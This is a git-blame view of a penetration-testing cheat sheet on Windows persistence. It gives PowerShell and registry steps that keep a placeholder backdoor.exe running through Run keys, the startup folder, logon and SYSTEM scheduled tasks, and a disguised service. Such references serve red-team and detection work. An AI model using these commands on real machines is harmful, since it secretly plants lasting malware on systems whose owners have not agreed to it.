PayloadsAllTheThings/Methodology and Resources/Windows - Persistence.md

69 lines
2.0 KiB
Markdown
Raw Normal View History

# Windows - Persistence
## Userland
### Registry
2018-08-12 21:30:22 +00:00
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
2018-08-12 21:30:22 +00:00
```powershell
Value name: Backdoor
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```
### Startup
2018-08-12 21:30:22 +00:00
Create a batch script in the user startup folder.
2018-08-12 21:30:22 +00:00
```powershell
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```
### Scheduled Task
2018-08-12 21:30:22 +00:00
```powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```
## Elevated
### HKLM
2018-08-12 21:30:22 +00:00
Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
2018-08-12 21:30:22 +00:00
```powershell
Value name: Backdoor
Value data: C:\Windows\Temp\backdoor.exe
```
### Services
2018-08-12 21:30:22 +00:00
Create a service that will start automatically or on-demand.
2018-08-12 21:30:22 +00:00
```powershell
PS C:\> New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here."
```
### Scheduled Tasks
2018-08-12 21:30:22 +00:00
Scheduled Task to run as SYSTEM, everyday at 9am.
2018-08-12 21:30:22 +00:00
```powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Windows\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -Daily -At 9am
PS C:\> $P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```
2018-12-24 14:02:50 +00:00
## References
2018-08-12 21:30:22 +00:00
* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)